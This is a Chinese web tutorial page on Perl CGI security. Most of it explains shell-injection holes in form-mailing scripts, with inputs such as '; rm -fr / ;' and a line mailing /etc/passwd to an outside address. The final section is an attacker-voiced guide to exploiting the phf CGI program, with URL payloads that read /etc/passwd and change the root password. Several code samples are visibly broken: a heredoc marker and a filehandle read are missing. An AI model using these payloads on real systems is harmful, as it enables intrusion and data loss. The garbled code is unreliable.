学院首页>网页制作>心得技巧>user 填的 form 资料自动寄出

user 填的 form 资料自动寄出

作者:未知 来源:未知 添加时间:2006-5-21 10:12:55
其实做这个很容易。您的 CGI script 必须能做到这两件事: 

  1.将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码
起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart
MIME资料)。 
  2.开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过
去。 

我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail: 
$cgi_form = new CGI::Form;
$from  = $cgi_form->param('from');
$name  = $cgi_form->param('name');
$to = $cgi_form->param('to');
  $subject  = $cgi_form->param('subject');
$message  = $cgi_form->param('message');
 open SENDMAIL, "| /usr/bin/sendmail -t -n";

 print SENDMAIL End_of_Mail;
  From: $from $name
To: $to
  Reply-To: $from
Subject: $subject
$message
End_of_Mail
有一个该注意的地方是 ``Reply-To:' 的信头。由於 server 是以
``nobody'这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当
有人想回这封信的时後)。 加上 ``Reply-To' 的信头这个问题便解决
了。 

网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail: 

【译者】gateway 在此指送 email 的 CGI 程式 


open MAIL, "| mail -s 'Subject' $to";

 ^
 |

 +-- 可能会出问题的漏洞!!!

如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号
(metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入
了以下的资 料: 
; rm -fr / ;
那麽您的麻烦可大了*。 

【译者】这里头的 ``;' 便是一个危险的 shell
metacharacter。另一个危险的符号是 ``&'。 

在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,
还得视 server 跑的使用者的权限而定(这就是为什麽 server
要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造
出来,但又没有备份的档案,是真的要跟它们永别了。 

; mail joe@crackerland.org /etc/passwd
那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这
对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装
shadow-password 的 UNIX 系统来说, 实在不太好玩。如果
server 错误地跑了 root,那麽就算装了 shadow-password 也
没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email
script 给他送 /etc/shadow (视系统而定,不一定在 /etc
底下或叫这个名字)。 

2.该特别留意哪些安全事项?

绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏
洞: 

open(COMMAND, "/usr/ucb/finger $form_user"); 

system("/usr/ucb/finger $form_user"); 

@data = `usr/ucb/finger $form_user`; 

话虽如此,在上面的第二种写法中,系统安全可藉着改变参数传送的方式而
得以改 善。也就是将参数由字串方式传送 (shell 会先解译),改为序
列方式传送。 

system("/usr/ucb/finger", $form_user);

3.为什麽大家都说
http://bigidiot.abuse-me.com/perl.exe?foo.pl
这样很危险?会有多糟?

极度危险! 想想看如果我这麽做会发生什麽事: 

http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c' 

现在您同意了吧?避免这个恶梦发生的方法: 

将 perl.exe 执行档由 ``cgi-bin' 移到 server 根目录以外的目
录里去。 
在 ``cgi-bin' 里用批次档 (batch) script 来叫出您的 CGI
script。 

以下是一例。假设您的 CGI script 叫做 ``sample.pl' 而您的批次档
叫 ``simple.bat': 

@echo off
c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl
现在,您可以做: 

  A HREF="/cgi-bin/simple.bat">Click Here /A>

4.要如何在程式中安全地使用逆向撇号 
(backticks,"`",位於键盘左上角)?这麽
做: 
@ans = `grep'$user_field' some.file`;
是不是真的不安全?

是的! 这非常危险!试想,如果 $user_field 含有这样的内容会有什麽
後 果: 
; rm -fr / ;


要达到相同的效果,一个比较安全的做法是*: 


if (open GREP, "-|") {

 @ans = GREP;

} else {

 exec("/usr/local/bin/grep", $user_field, "some.file")

  || die "Error exec'ing command", "\n";
}

close GREP;
5./$user_variable/ 这个句法是不是 Perl
5 中的一个安全漏洞? 

不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime)
去 评估这个叙述,那麽,它会变成一个安全死角。例如这种做法可能很危
险: 

foreach $regexp (@all_regexps) {

 eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }";
}

6.如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就
可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如
/etc/passwd等,并保存在本地机上。以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我
们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。
http://afp.org/cgi-bin/phf/?Qalias=x%0aid 
 
id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id
  
注意%0a后面是命令行内容。如果你想输入一个空格符,就要用%20代替,以下是经常
要用到的几个命令行:(以%0a开始)

 显示passwd密码档:
 %0a/bin/cat%20/etc/passwd 

 获取/etc目录下所有以pass开始的详细文件列表:
 %0als%20-al%20/etc/pass* 

 如果你有访问http的root用户权限,备份passwd文件为passwd.my文件:
 %0acp%20/etc/passwd%20/etc/passwd.my 

 更改root用户密码(服务器往往会允许你这样做 ;-) ):
  %0apasswd%20root 
站内搜索